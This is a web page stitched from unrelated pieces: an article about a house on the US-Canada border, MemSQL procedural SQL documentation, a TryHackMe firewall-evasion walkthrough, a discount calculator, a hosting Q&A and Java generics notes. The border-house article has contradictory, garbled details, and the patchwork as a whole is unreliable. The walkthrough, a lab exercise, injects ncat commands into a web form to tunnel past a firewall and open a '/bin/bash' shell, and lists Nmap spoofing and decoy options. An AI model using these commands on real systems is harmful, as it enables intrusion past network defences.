В Бейсике при сравнении самих букв (а не их кодов напрямую) большие учитывались также, как и маленькие. Хотя если написать выражение ("A" = "a"), то оно возвращает ложь.
guest
0 комментариев
Межтекстовые Отзывы
Посмотреть все комментарии
Pascal
количество строчных букв в строке паскаль
var
str: string;
i, len, let_b, let_s: byte;
begin
readln(str);
len := length(str);
let_b := 0;
let_s := 0;
for i:=1 to len do
if (str[i] >= 'a') and (str[i] = 'A') and (str[i]
Язык Си
#include < stdio.h>
main() {
char str[255];
int i,let_b, let_s;
gets(str);
let_s = 0;
let_b = 0;
for (i=0; str[i]!='\0'; i++)
if (str[i] >= 'a' && str[i] = 'A' && str[i]
Python
количество заглавных букв в строке python (питон)
s = input()
let_s = 0
let_b = 0
for i in s:
if 'a'
КуМир
алг количество разных букв
нач
лит s
цел i, len, let_b, let_s
ввод s
len := длин(s)
let_s := 0
let_b := 0
нц для i от 1 до len
если s[i] >= "a" и s[i] = "A" и s[i]
Basic-256
input s$
let_s = 0
let_b = 0
for i=1 to length(s$)
l$ = mid(s$,i,1)
l = asc(l$)
if l>=asc("a") and l=asc("A") and l
Adblock
detector
|
__label__pos
| 0.970516 |
WireGuard on Android
This guide is for setting up WireGuard VPN connections with our service using the official WireGuard app on Android:
1. Install the official WireGuard app from Google Play or F-Droid
2. Use our wgmanager tool either to generate your keys (recommended) or to provide the pubkey you already have, select the location you want to connect to
3. after you generate and download the server profile(s), import it into WireGuard app by tapping on the +sign > Create from file or archive, navigate to the folder where you've downloaded the .conf server profile or the .zip archive
4. tap on the toggle button to connect
Other tutorials:
|
__label__pos
| 0.689336 |
How-To Geek
Printing the contents of a PHP Array
This is a pretty common task, but it’s surprising how many PHP newbies don’t know about it yet. If you want to see the structure of your PHP Array, all you need to do is this:
print_r($myarray);
This will give you a listing of all the items in the array, including multi-dimensional arrays. Obviously this should only be used for testing / debugging purposes.
Lowell Heddings, better known online as the How-To Geek, spends all his free time bringing you fresh geekery on a daily basis. You can follow him on if you'd like.
• Published 09/26/06
Comments (18)
1. sven
and if you like it human-readable:
echo “”; print_r($myarray); echo “”;
have fun!
2. Magic.Crazy
this is more human-readable :
echo ”;
print_r($array);
echo ”;
3. Hmmmm
You may want to try this:
echo “”;
print_r($location);
echo “”;
4. Hmmmm
echo “(html open tag)pre(html close tag)”;
print_r($location);
echo “\”;
5. Hmmmm
echo “(less than sign)pre(greater than sign)”;
print_r($location);
echo “(less than sign)/pre(greather than sign)”;
6. Hmmmm
between the quotes are the html pre tags (open and then close).
7. jeroen
surprising how very helpful this post is for php newbies like me :)
thx alot!
8. Jhm718
This /is/ super helpful for PHP newbies like me.
Thanks!
9. Derrick
if you want to print arrays with html, do it with this
echo ”.htmlspecialchars(print_r($inputs, TRUE)).”;
10. tfq
Derrick, what are “.htmlspecialchars”?
11. wowaname
@tfq: It converts >, <, and several other HTML characters into their symbol codes: >, <, and so on.
12. PastulioLive
I wrote a function for you guys if you are interested,
just save it in a helpers.php, include that file and you’re ready to go :)
Enjoy!
<?php
/** Prints the contents of an array with HTML special characters, linebreaks and spaces
* @param array $array
* @param bool $echo (default: true)
* @result bool/array
*/
function print_arr($array, $echo = true)
{
$array = print_r($array, true);
$array = htmlspecialchars($array);
$array = str_replace(" ", " ", $array);
$array = nl2br("”.$array.””);
if($echo == true)
{
echo $array;
return true;
}
return $array;
}
# use like this to print/echo the contents to the screen
print_arr($yourArray);
# use like this to not print/echo but catch the contents in a variable
$result = $print_arr($yourArray);
?>
13. PastulioLive
Oops, hit enter a tad to fast in that one,
For not printing it to thescreen, you should use
$result = $print_arr($yourArray, false);
14. PastulioLive
Sorry for the thrid post but I see that this comment system, but my space special character in the str_replace also turned to a real space, just you “$array = str_replace(” “, “& n b s p ;”, $array);” without the spaces inbetween the code.
15. Saran
echo “”;
print_r($arrayVar);
echo “”;
its help u much i think
16. Mikey
Also try:
var_dump($myArray);
17. Civali
I have this situation:
$name = “my name”;
$surname = “my surname”;
$data[’email’] = array(‘NAME’ => $name, ‘SURNAME’ => $surname);
How to make labels and strings content be printed like this?
NAME: my name
SURNAME: my surname
Someone can help me please? tks
18. jeff
Thanks, PastulioLive. The function worked great. You da’ man.
More Articles You Might Like
Enter Your Email Here to Get Access for Free:
Go check your email!
|
__label__pos
| 0.755466 |
Categories
Uncategorized
Online Surveillance Tools
Internet tools can be used to spy on other people, but they can also aid investigators in finding evidence. By using online surveillance tools, such as VPNs, virtual private networks, and proxy servers investigators can make it difficult for criminals to spy on them or obtain sensitive information.
Surveillance has become more prevalent in the age of the Internet. This could be because of increased scrutiny by the government, or the fear of people of having their privacy invaded. There are numerous tools available to spy on someone online for example, biometric, financial, and GPS monitoring.
Financial surveillance involves the analysis of financial transactions and activities in order to detect illegal activities such as money laundering. It can be conducted on an individual or corporate scale. Biometric surveillance is a technique that uses a variety of types to identify people based on physical traits such as fingerprints. GPS monitoring employs the global positioning system to identify the location of a person or vehicle. This technology is utilized by electronic toll takers like E-ZPass to monitor vehicles.
Video surveillance has many benefits for both businesses and consumers. Cameras can deter criminals, give the security of areas in real-time, provide a live view of areas, and aid investigators to pursue crimes. They also help reduce security guards’ workload and operational costs.
It’s also important to keep in mind that not all surveillance tools are legit. Some are invasive and may be used by hackers to spy on others. False devices, such as the wireless charge-coupled device (CCD) cell phone spy camera CN-SPY008, could be akin to something from James Bond but are available to anyone with an interest in spying.
online data room
ใส่ความเห็น
อีเมลของคุณจะไม่แสดงให้คนอื่นเห็น ช่องข้อมูลจำเป็นถูกทำเครื่องหมาย *
|
__label__pos
| 0.660843 |
dcsimg
WEBINAR:
On-Demand
Virtual Developer Workshop: Containerized Development with Docker
By Alex Homer
This article shows how you can take advantage of the validation features within the Validation Application Block, part of version 3.0 of Enterprise Library, in your ASP.NET applications. The block supports both UI and object validation, and you can combine these approaches using the same rules if you wish. The ability to validate objects is particularly useful when working with instances that may be generated locally, exposed by other tiers of your application, or received from a remote Web Service.
Contents
• Using the Enterprise Library Validation Application Block in ASP.NET - Part I
Introduction
ASP.NET includes a series of built-in validation controls, integrated with Visual Studio 2005 and Visual Web Developer 2005 Express Edition (VWD), that you can easily incorporate into your Web applications. The validation controls link to existing data entry controls, such as text boxes and list boxes, providing a great client-side user experience while still ensuring that validation also occurs server-side (to protect against spoofing attacks) when the user submits the page.
So, why would you consider using any other type of validation mechanism? The answer depends on what you actually need to validate, where it comes from, and how you want to manage the validation process. Validation within the UI is fine if you are collecting values directly from users, but you may need to do more. For example, you may need to validate object instances that you:
• Generate in separate tiers or components of your application
• Retrieve from a cache, a repository, or a third-party data access layer
• Receive from a Web Service as an object instance or a set of property values
• Reconstruct from existing values, perhaps populating them by copying properties from a similar object or using values retrieved from a database
The ASP.NET validation controls are of limited use in these situations. In addition, the parameters for the validation (such as the maximum and minimum values, regular expressions, and other data) for each validated control must reside within the control declarations, or you must set them dynamically at runtime from some other stored configuration source (such as the <appSettings> section of Web.config).
An alternative approach is to make use of the wide-ranging and powerful features of the Validation Application Block. This is part of Enterprise Library version 3.0, from the Microsoft patterns & practices group. The Validation Application Block provides a comprehensive series of validation components that you can apply through configuration, or through attributes applied directly to classes, class members, plus UI controls for use in both ASP.NET and Windows Forms applications.
One of the major advantages with this approach is that you can define rule sets within your application configuration file, with each rule set defining the types of validation to undertake and the individual parameters for that validation process. This means that administrators can quickly and easily change the validation rules and parameters without requiring any changes to the existing code - avoiding the risk of code errors, recompilation issues, and application downtime.
You can also create custom validators that validate individual classes or custom types, and integrate these seamlessly with the existing validators. You can even include validation information within your custom classes and types, so that they support self-validation.
In this article, you will see how you can create rule sets and apply them to existing and new instances of objects, and to UI controls in a Web page. For an example of using directly-applied validation attributes within a class, see the article "Using the Policy Injection Application Block in ASP.NET" at http://www.devx.com/dotnet/Article/34517, which demonstrates the use of the Validation Handler with individual Validation Attributes.
The documentation installed with Enterprise Library 3.0 also contains comprehensive details and examples of how you can use attributes to apply validation rules, how to create custom validators, and how to use self-validation. Once you are familiar with the basic process for creating and using rule sets and the validators from the Validation Application Block, you will find it easy to extend the techniques to implement all kinds of custom validation mechanisms.
The Validation Application Block Built-in Validators
The Validation Application Block contains a wide range of validators that you can use to check almost any type of property or value. The built-in validators include:
• Range validators, such as the generic Range Validator, the Date Time Range Validator, and the String Length Validator. These validators have properties that define the upper and lower bounds, and the bound type (Inclusive, Exclusive, or Ignore) that allow you to specify exactly what value range is valid. If you set a bound type to Ignore, the validator does not check that boundary, so you can use them to specify that valid values are greater than or less than a specific value, as well as between two values.
• Comparison validators, such as the Property Comparison Validator that checks the value against a specified property of a specified object, and the Relative Date Time Validator that checks if the difference between the value and a specified DateTime is within a valid range.
• The Not Null Validator, which requires a value to be present.
• Validators that perform specific tests on string values, such as the Regular Expression Validator, the Contains Characters Validator, and the Type Conversion Validator that checks if a string value can be converted to a specified value type.
• Validators that check if a value is in a specified set, such as the Domain Validator that checks against a list of values you provide, or the Enum Validator that checks against a specified enumeration.
• Validators that operate on custom objects, such as the Object Validator that activates validation of an object instance using rules applied to the object, and the Object Collection Validator that does the same for a collection of object instances.
• Composite validators, such as the And Composite Validator and the Or Composite Validator. These validators allow you to combine other validators by nesting them within this type of validator to create complex validation rules.
The validators have specific properties, depending on the validation process they carry out. However, all of the validators also have some common properties:
• Tag, which can contain text you use to categorize or filter results, or insert into the validation error message. You can access the Tag value in code when validating rule sets.
• Negated, which reverses the operation of the validator so that it returns False if the value is valid, and True if not. This is useful when you combine validators using the And Composite Validator and the Or Composite Validator.
• MessageTemplate, where you specify the validation error message. You can include the placeholders {0}, {1}, and {2} to insert the validated value, the target object member name (if available), and the value of the Tag property of the validator.
• MessageTemplateResourceName and MessageTemplateResourceType. You can use these properties to retrieve a validation error message string from the application resources assembly. If you create resources for multiple cultures, the validator will automatically retrieve the string for the current culture.
Configuring Validation Rule Sets
To create a rule set for an object, you must first create and compile that object. The example application contains a simple class named CompanyDetails (in the EntLibSampleObject project) that exposes six properties: four of type String, one of type DateTime, and one of type Int32. Open the example solution and view the file EntLibSampleObject.cs to see the class definition.
Once you have a target object class, open the configuration file for your application in one of the two Enterprise Library configuration tools - either the Configuration Console (available from the Start menu), or the Configuration Editor integrated within Visual Studio (right-click on the Web.config or App.config, file in the Solution Explorer window and select Edit Enterprise Library Configuration).
Note: Editing Enterprise Library 3.0 Configuration Files
The default Enterprise Library Configuration Console (opened from your Start menu) will not work with applications that use unsigned versions of the Enterprise Library assemblies located in the Bin folder, as is the case with the examples for this article. Instead, you can use the version of the Configuration Console in the App Blocks\Bin subfolder of your EntLibSrc folder. Run the BuildLibraryAndCopyAssemblies.bat file in the App Blocks subfolder to compile the Enterprise Library source code in your EntLibSrc folder.
Alternatively, use the built-in VS2005 Configuration Editor. The solution file for the example application has the EnterpriseLibraryConfigurationSet property set to EntLib3Src so that the editor will use the unsigned assemblies in your EntLibSrc folder instead of the signed assemblies in the Program Files folder. To change the behavior of the VS 2005 Configuration Editor if you do not have a solution file:
1. Use the File menu to add a new Web Site to the project so that VS creates a root-level solution node containing the two projects.
2. Select the solution node and open the Properties window by pressing F4.
3. Change the EnterpriseLibraryConfigurationSet property to specify the target assembly set you require, and click OK in the warning dialog.
4. Select Save <solution-name> As from the File menu and save the solution file into the project folder.
5. Select the project node for the new Web Site project you added, right-click, and select Remove.
6. Select Save All from the File menu.
7. Use the saved solution file (.sln) to open the project in future.
Specifying the Target Object Type
In the configuration editor, right click on the application node (the node immediately below the root Enterprise Library Configuration node) and select New, then click Validation Application Block to add the Validation Application Block to your application. Then right-click on the new Validation Application Block node, select New, and click Type. In the Type Selector dialog, click the Load an assembly... button and navigate to the folder containing your target object. Click Open to load this assembly.
The Type Selector dialog now shows a tree view of all the assemblies containing classes that inherit from System.Object, sorted alphabetically. Find your target assembly in the list (collapse nodes in the tree to make it easier) and select the target class to which you want to attach a rule set (see Figure 1).
Selecting the target class
Figure 1 - Selecting the target class for applying a rule set in the Enterprise Library Configuration Editor
Click OK, and the class appears in the configuration under the Validation Application Block node. Now you are ready to create the rule set.
Creating a Rule Set and Adding Validators
Right-click on the new target object node in the configuration editor, select New, and click Rule Set. Change the name of the rule set as required - you will use the name in your code so you should specify a name that will help you to read and debug your code, especially if you define more than one rule set.
The next stage is to select the members of the target object that you want to validate. Right-click on the new rule set node, select New, and click Choose Members to display a dialog containing all the public members of the target object (see Figure 2). Select the required members and click OK to close the dialog and add these members to the rule set.
Selecting the members of the target class
Figure 2 - Selecting the members of the target class to which you want to apply validators
Alternatively, to add specific members, right-click on the rule set node, select New, and click Field, Method, or Property. This adds a new node to the rule set. Select the new node and change the name to that of the target object's field, method, or property.
You now have a hierarchy that contains the list of members to which you will add validators. For each target object member, right-click on it, select New, and click the type of validator you want to add. As you add each one, use the Properties window in Visual Studio 2005, or the properties list in the right-hand pane of the Configuration Console, to set the properties you require for each validator.
For example, the CompanyAddress property of the CompanyDetails object in the example application has a String Length Validator attached with the following properties set:
Property Setting
LowerBound 5
LowerBoundType Inclusive
Negated False
Tag CompanyAddressValidator
UpperBound 100
UpperBoundType Inclusive
MessageTemplate Company address must be between 5 and 100 characters
Figure 3 shows the completed configuration of the example application. You can see the six properties of the target object class, and the validator specified for each one. The Self node, which the configuration tool adds automatically, allows you to specify validators that will operate on objects that carry the SelfValidation attribute. For more details of self validation, see the topic "Using Self Validation" in the "Key Scenarios" section of the Enterprise Library Validation Application Block documentation.
The configuration of validators in the example application.
Figure 3 - The configuration of validators in the example application. The CompanyDetails class has a rule set named ExampleRuleSet that contains the appropriate validator for each property, depending on the value type
Using Composite Validators
The example application implements a simple scenario where there is only one validator on each property of the target class. However, if you need to perform more complex validation, you can use a composite validator to created nested validator groups that implement AND and OR logic.
For example, you can add an And Composite Validator to a property, and then right-click on this validator, select New, and select other validators to place within this AND group. You might choose to use a Not Null Validator and a Type Conversion Validator, which must both return True for the property value to be considered valid.
You can add more than two validators to a composite validator, nest composite validators within other composite validators, and use the Negated property of any validator to reverse its behaviour. It is difficult to conceive of a validation requirement that you cannot meet using these capabilities.
Using Validation Rule Sets in ASP.NET
The example application for this article displays textboxes for the six properties of the target object. These are pre-filled with valid values to save you typing then in. If you open the application and click the Create a company using these values... button, without changing any of the values in the text boxes values or the other settings, the code creates an instance of the target class with valid values, performs validation on the object, and displays the property values and the validation result in the page (see Figure 4).
The example application creates an instance of the target object
Figure 4 - The example application creates an instance of the target object, validates its properties, and displays the results
If you now edit the values in the text boxes so that they are outside the range of valid values, and click the Create a company using these values... button again, the page displays a list of errors it encounters when validating the new object instance (see Figure 5). You can see in this case that the CompanyName, CompanyPostalCode, and EmployeeCount properties have invalid values.
The result of validating an object with invalid property values
Figure 5 - The result of validating an object with invalid property values
For each invalid property value, the page displays the contents of the MessageTemplate for the validator, the name of the target property, the value of the Tag property of the validator, and the type name of the target object.
Validating Object Instances
The code-behind file for the example application's Default.aspx page starts by importing the namespaces containing the classes the code uses. You can the Validation Application Block assemblies here, and the example target object. The application also uses a Web Service, as you will see shortly, and imports this namespace as well:
using System;
using System.Web.UI;
using System.Text;
using Microsoft.Practices.EnterpriseLibrary.Validation;
using Microsoft.Practices.EnterpriseLibrary.Validation.Integration.AspNet;
using EntLibSamples; // defines the sample CompanyDetails class
using SampleService; // returns valid and invalid CompanyDetails instances
The handler for the Create a company using these values... button starts by calling a simple routine that creates an instance of the example target object and sets the properties using the values in the text boxes in the page:
private void CreateLocalCompanyObject()
{
// create sample object instance and set properties
EntLibSamples.CompanyDetails companyObject
= new EntLibSamples.CompanyDetails();
companyObject.CompanyName = txtName.Text;
companyObject.CompanyAddress = txtAddress.Text;
companyObject.CompanyCity = txtCity.Text;
companyObject.CompanyPostalCode = txtPostalCode.Text;
companyObject.EmployeeCount = Int32.Parse(txtEmployees.Text);
companyObject.LastReportDate = DateTime.Parse(txtReportDate.Text);
// display and validate property values
DisplayAndValidateSampleObject(companyObject);
}
After populating the object, the code above calls another routine named DisplayAndValidateSampleObject that begins by creating a StringBuilder containing the property values for display in the page:
private void DisplayAndValidateSampleObject(
EntLibSamples.CompanyDetails targetObject)
{
// read properties for display in the page
StringBuilder builder
= new StringBuilder("<b>New Object Properties</b>:<br />");
builder.Append(String.Format("- Name: <b>{0}</b><br />",
targetObject.CompanyName));
builder.Append(String.Format("- Address: <b>{0}</b><br />",
targetObject.CompanyAddress));
builder.Append(String.Format("- City: <b>{0}</b><br />",
targetObject.CompanyCity));
builder.Append(String.Format("- Postal Code: <b>{0}</b><br />",
targetObject.CompanyPostalCode));
builder.Append(String.Format("- Employees: <b>{0}</b><br />",
targetObject.EmployeeCount.ToString()));
builder.Append(String.Format("- Last Report: <b>{0}</b><p />",
targetObject.LastReportDate.ToString()));
...
The Validate Method
Next is the validation process. Unlike the ASP.NET UI validation controls, which react to an event in the ASP.NET page cycle to perform validation, the Validation Application Block validators must be explicitly executed by calling the static Validate method of the block. This method takes as parameters the reference to the target object to validate and the name of the rule set containing the validation rules to apply to the target object:
// in C#:
ValidationResults results;
results = Validation.Validate(targetObject, "RulesetName");
' in Visual Basic.NET:
Dim results As ValidationResults
results = Validation.Validate(targetObject, "RulesetName")
If you have specified a default rule set for the target object (by setting the DefaultRule property of the target object node in the configuration editor), you can omit the second parameter:
// in C#:
ValidationResults results;
results = Validation.Validate(targetObject);
' in Visual Basic.NET:
Dim results As ValidationResults
results = Validation.Validate(targetObject)
The Validate method also has a generics-based override that takes the type of the target object. You can use this override if you want to indicate the target class type of an inheriting object type:
// in C#:
ValidationResults results;
results = Validation.Validate<targetObjectType>(targetObject, "Ruleset");
' in Visual Basic.NET:
Dim results As ValidationResults
results = Validation.Validate(Of targetObjectType)(targetObject, "Ruleset")
Note: You can instead use the static CreateValidator method of the block to create a Validator instance for a specified class instance, and then call the Validate method on that Validator instance. This approach allows you to specify whether the validation process should uses rules that are defined in the configuration, or declared as attributes on classes and class members.
Displaying the Validation Results
The Validate method returns an instance of the ValidationResults class, which is a collection containing a ValidationResult instance for each validation failure. The ValidationResult class exposes properties that allow you to obtain the value of the Key (the member name if available), the Message describing the validation error, the value of the validator Tag property, the type name of the Target object, and the name of the Validator. There is also the NestedValidationResults property, which exposes a ValidationResults collection containing the validation errors for any nested validators (when using a composite validator).
The example application calls the Validate method, and then checks if there were any validation errors by examining the IsValid property of the returned ValidationResults collection. If there are errors, the code iterates through the collection adding the values of the Key, Tag, and Target properties of each ValidationResults instance to the StringBuilder. If there are no errors, it adds a suitable message to the StringBuilder instead. Finally, the code displays the contents of the StringBuilder in a Label control on the page:
...
// validate the property values using the configured rule set
ValidationResults results;
results = Validation.Validate<EntLibSamples.CompanyDetails>(
targetObject, "ExampleRuleSet");
// get validation results
if (!results.IsValid)
{
builder.Append("<b>Validation Errors:</b>:<br />");
foreach (ValidationResult result in results)
{
builder.Append(String.Format("- <b>{0}</b><br />", result.Message));
builder.Append(String.Format(" (Key: {0}, ",
result.Key.ToString()));
builder.Append(String.Format("Tag: {0}, ", result.Tag));
builder.Append(String.Format("Target: {0})<br />",
result.Target.ToString()));
}
}
else
{
builder.Append("All object property values are valid.");
}
// display results in Label control
lblResult.Text = builder.ToString();
}
About the Author
Alex Homer is a freelance developer and writer, currently sending most of his time working with Wrox Press Limited in the UK. Alex's own company, Stonebroom Software, has been running - on and off and with a couple of name changes - for some fifteen years while he held down a 'day-job' as well. He started writing system utilities in assembler (machine code) which were sold through a small distributor in Blackpool, the UK's 'silicon beach' of home computing in the early eighties. Since then, development has moved through Pascal in MS-DOS, Delphi and Visual Basic in Windows, and now to the Internet in general. Having worked in the Glass and Glazing industry for some years, Alex also develops vertical market software aimed at making the specifier's and estimator's job easier. They still think Windows are things you lean out of.
Comments
• There are no comments yet. Be the first to comment!
• You must have javascript enabled in order to post comments.
Leave a Comment
• Your email address will not be published. All fields are required.
Most Popular Programming Stories
More for Developers
RSS Feeds
Thanks for your registration, follow us on our social networks to keep up-to-date
|
__label__pos
| 0.799732 |
Edge Docker Hub Description
Supported Tags
• develop- under development and subject to change without notice
• latest- the current production release
• stable- the release is stable and released bi-weekly. It contains both new features and bug fixes.
• lts- (Long Term Support) the release is stable and supports bug fixes for a year from the release date.
Quick reference
Release Notes:
Release Notes can be found here.
Where to get help:
ClearBlade Service Desk
Where to file issues:
ClearBlade Service Desk
Supported architectures:
amd64
Other architectures to be added soon, bare-metal binaries for other architectures can be found on github
References
(Make sure you are enrolled in the ClearBlade Academy)
What is ClearBlade Edge?
ClearBlade Edge is an application to synchronize, configure, manage, and deploy distributed IoT systems. It contains all the same features of the Platform, and is designed to be deployed in remote networks to interact with sensors, controllers, and industrial systems.
How to use this image
A user can choose any of the following options to use this image
docker run --name edge -d -v /path/to/your/cb/dir:/etc/clearblade clearblade/edge --config /etc/clearblade/config.toml
This method of starting Edge uses a config file and uses Docker volume to make database persistent. Scroll down for an example Config File.
Start Edge using flags
docker run --name edge -d -v /path/to/your/cb/dir:/etc/clearblade clearblade/edge -platform-ip=<PLATFORM_URL> -parent-system=<SYSTEM_KEY> -edge-id=<EDGE_ID> -edge-cookie=<EDGE_COOKIE>
This method of starting Edge uses edge flags and uses Docker volume to make database persistent.
docker run --name edge -d clearblade/edge -platform-ip=<PLATFORM_URL> -parent-system=<SYSTEM_KEY> -edge-id=<EDGE_ID> -edge-cookie=<EDGE_COOKIE>
This method of starting Edge uses edge flags with non-persistent database.
Configuration File
[Debug]
DisablePprof = true
[Database]
SqliteAdmin = "/etc/clearblade/clearblade.db"
SqliteUserData = "/etc/clearblade/clearblade_users.db"
[Edge]
PlatformIP = "<PLATFORM_IP>"
PlatformPort = "<PLATFORM_PORT>"
EdgeID = "<EDGE_ID>"
EdgeIP = "<EDGE_IP>"
EdgeCookie = "<EDGE_TOKEN>"
ParentSystemKey = "<PARENT_SYSTEM_KEY>"
Example Configuration File
[Debug]
DisablePprof = true
[Database]
SqliteAdmin = "/etc/clearblade/clearblade.db"
SqliteUserData = "/etc/clearblade/clearblade_users.db"
[Edge]
PlatformIP = "staging.clearblade.com"
PlatformPort = "8950"
EdgeID = "testEdge"
EdgeIP = "localhost"
EdgeCookie = "h8416xwH3848sTemP626t3"
ParentSystemKey = "b8978fd40bbefb89a3edacd4c98601"
|
__label__pos
| 0.708696 |
Allowing the User to Perform a Standard Search | Spread Windows Forms 14.0
Spread Windows Forms 14.0
Spread Windows Forms 14.0 Product Documentation / Developer's Guide / Customizing Row or Column Interaction / Customizing User Searching of Data / Allowing the User to Perform a Standard Search
In This Topic
Allowing the User to Perform a Standard Search
In This Topic
You can have the component display a search (find) dialog for the end-user to allow them to search the text (unformatted data) of cells in a sheet for a particular string of text, as shown in the following figure.
Search Dialog
You can customize many features of the search dialog box by setting its properties. In addition, you can display a default search string in the Find what combo box. And you can set the check boxes for these options:
For information about the advanced options available on the search dialog, refer to Allowing the User to Perform an Advanced Search.
Using Code
Use the SearchWithDialog methods for the FpSpread component to customize the search dialog.
Example
This example provides a search dialog with several settings preset. In this case, it as an exact-match search on the fourth sheet (Sheet 3) for the phrase "Not Available" and start at the first row and column.
C#
Copy Code
fpSpread1.SearchWithDialog(3,"Not Available",true,true,false,false,0,0);
VB
Copy Code
FpSpread1.SearchWithDialog(3,"Not Available",True,True,False,False,0,0)
See Also
|
__label__pos
| 0.711231 |
3
$\begingroup$
Consider the following 2x2 game:
\begin{array}{|c|c|c|} \hline &C&R\\\hline M&0,0&3,5\\\hline D&4,4&0,3\\\hline \end{array}
This game has two distinct pure-strategy Nash equilibria.
I recall that in cases like this there is almost always a third mixed NE, and this had to do with the index theorem and having an odd number of equilibria.
Can someone provide the idea behind the index theorem and why having two distinct pure strategy NE in 2x2, 2 person game, static, complete information results into a third mixed NE with probability 1?
$\endgroup$
0
4
$\begingroup$
What about \begin{array}{|c|c|c|} \hline &C&R\\\hline M&0,0&0,0\\\hline D&0,0&1,1\\\hline \end{array} ?
This game has two pure equilibria, $(M,C)$ and $(D,R)$ but no mixed equilibra.
You are probably referring to Wilson's Oddness Theorem, which guarantess your claim for generic games. See Oddness of equilibrium points.
$\endgroup$
1
• $\begingroup$ I just got what you meant by probability 1. I think the word order of that sentence is a little off. $\endgroup$
– Giskard
Nov 9 '17 at 13:38
Not the answer you're looking for? Browse other questions tagged or ask your own question.
|
__label__pos
| 0.967132 |
HashSet, HashMap, Union, and Rehashing in Java
HashSet, HashMap, Union, and Rehashing in Java photo 0
A Set is a collection of objects that can be used to hold data. Generally, Sets are used to store data in lists. If you want to ensure uniqueness of each element of a collection, you can use HashSet. You can also use any general-purpose Set implementation. However, HashSet is the best implementation on the Java platform. In this article, we’ll talk about HashSet, the Union operation, and rehashing.
HashMap
A HashSet is a list of items that guarantee uniqueness of each element. It uses a HashMap to store its elements and creates a HashSet instance for each element. When adding new elements to the list, the set must provide a dummy value for each key. Using the dummy value prevents duplicate elements. There is also a method for checking whether an object exists in a HashSet.
A HashMap can have a bucket index location that holds the first entry of a linkedlist of Entry objects. To determine the index location of an Entry object, the key object has to be converted to lower case, with a space removed from the beginning or end of the key. The equals() method, which is the method for maintaining uniqueness of keys in the map, is not used for the put or get methods of a HashMap.
You can iterate over a map by using the iterator method. Iterating over a set in a HashMap ensures uniqueness by preventing duplicate values. The put() method takes two parameters, the key and the value. Iteration over a HashMap can only happen once, and the old value will be deleted from the HashMap.
A HashMap in a Set in Java is an extremely useful data structure for storing key-value pairs. It allows you to add, remove, and search for a specific value. Because its keys and values are unique, you can use it in applications that require uniqueness. There are also many uses for a Map: the phone book, file management, and logging on a computer.
HashSet
HashSet is a collection of distinct elements. Its uniqueness guarantees that each element is stored only once. To create a HashSet, you first create an instance of HashMap. You then add elements to it as keys. You cannot directly access the elements in HashSet. Instead, you must iterate through each key to get the value for the element. There are several different types of HashSets.
HashSet implements the Set interface. When you add a string object to HashSet, you should first check whether the element is already present in the set. Unlike HashMap, HashSet doesn’t allow duplicate keys or values. It requires one object to be added to the set, and another to remove elements. HashSet can be converted to an Array by calling the toArray() method.
A hash table has two main properties that determine its performance. First, its initial capacity determines how long it will take to add an element to the collection. The second property is its load factor, which tells us how many elements the HashSet can store at any given time. Generally, a HashSet can hold millions of elements, but if the number of entries is too high, it might become unusable quickly.
The HashSet in Java has many similarities to Collection, except that HashSet enforces uniqueness. To add an element, you use the add() method. To remove an object, use the remove() method. HashSet can also be used as a backup. However, the backup HashMap must implement both the equals() and hashCode() methods. For this reason, it is recommended to use HashSet whenever possible.
Union operation
A union operation in a Set in Java ensures that all elements are unique. The operation acts like a union, except that the elements are not added to the set, so no element is duplicated. This approach does not support the concept of space complexity and therefore is not flexible. The Union operation is also used to create sets from collections. Here are some useful examples. We will look at how we can use unions in sets.
A set is an ordered set. A set may contain only one element that is null. Sets may also contain a single element with no value. HashSet is a set that stores its elements in a hash table. This set can be accessed using its hashCode() method. In addition, linked-list hash tables are more efficient for insertion and deletion than hash-tables.
Another common set-algebraic operation is union. The Union operation in a Set in Java will return the elements in the second array that don’t appear in the first one. The Union operation in a Set in Java ensures the uniqueness of elements in a set. In addition, this operation ensures that duplicates are removed from the result array. However, you should always ensure that the first array is unique. You can also use union() and minus() to make sure that the elements of an array are unique.
In addition to using unions in a Set, you can also use bit fields. When you’re dealing with enum constants, it’s a good idea to use enum constant sets. For example, if you want to iterate over a set of flags, you should use enum constant sets instead of bit fields. Another well-performing Set implementation is HashMapSet. It allows you to tune its load factor and capacity. You should use this approach if ordering is not a major issue.
HashSet rehashing
HashSet is a type of collection that uses hash tables to store data. Its name comes from the hashing method used to store data, and it is designed for rapid lookups. HashSet shares the abstractCollection superclass with TreeSet. Another subclass of HashSet is HashMap, which extends Map and implements the Map interface, using an internal Hashtable representation. However, HashSet is not suitable for thread-safe operations.
A hash table is a database of items in a particular order, and hashSet rehashing in Java ensure that each element is uniquely represented by its hash code. The same element has the same hash value on different Java systems, and searching for it requires computing the hash index and looking up the string at the index position. A perfect hash-based search is considered to take O(1) time, which is true for both HashSets and LinkedLists.
The hash table initializes the capacity and the fill ratio by assigning an integer value between 0.0 and 1.0. If the element count exceeds the capacity, the hash table rebuilds with twice as many buckets. This increases the capacity and performance of the hash table, but it also creates more work for the GC. It is therefore crucial that you monitor the amount of data and the size of the hash table when using HashSet.
HashSet rehashing in Java is not guaranteed and the execution of this method is affected by the Initial Capacity and the Load Factor. The initial capacity and load factor determine the time it takes to add an element to a hash set. If they are the same, equals will be called, otherwise not. The load factor indicates the maximum fill level.
TreeSet
TreeSet in Java is used to store objects in a set. Each element in a TreeSet must be unique, which is ensured by using the compareTo() method. It is important to note that an element cannot be duplicated in a TreeSet. A TreeSet implements the Set interface. Unlike HashSet and LinkedHashSet, it cannot store duplicate elements. Thread safety is important when you’re working in a multi-threaded environment and need to keep duplicate elements out of your collection.
The set’s method uses a Map to store its elements. A Map represents key-value pairs, and each key in a Set has a corresponding value. The map is able to store elements that are unique, but it cannot guarantee the order in which they are added. The hashSet method adds elements quickly, but it doesn’t guarantee the order of the keys. HashSet also supports null values, which ensures that each element is unique.
TreeSet in Java also ensures uniqueness of elements. A TreeSet must use the compareTo() method in order to ensure that elements are ordered in the same order. It should be consistent with equals in Java. If a Set contains duplicates, a Java program will fail. In this case, the set will throw a Null Pointer Exception. However, it should be consistent with equals.
As with other sets, the intersection of two sets is not guaranteed to work. While two sets are not equivalent, an intersection between them is undefined. The intersection of two sets is based on the iteration order of set1. If you insert an element greater than toElement, the set may throw an IllegalArgumentException. A TreeSet is not necessarily unique, but it can be sorted, and it can be used to store data in a TreeSet.
If you want to build a house across state lines, there are a few things you should know before you get started. These include legality, costs, and the DuMoulin family’s border house. Read on to learn more about this unique building process. And stay tuned for future articles for more on this intriguing topic. Until then, you can enjoy reading this interesting border house story.
Building a house across state borders
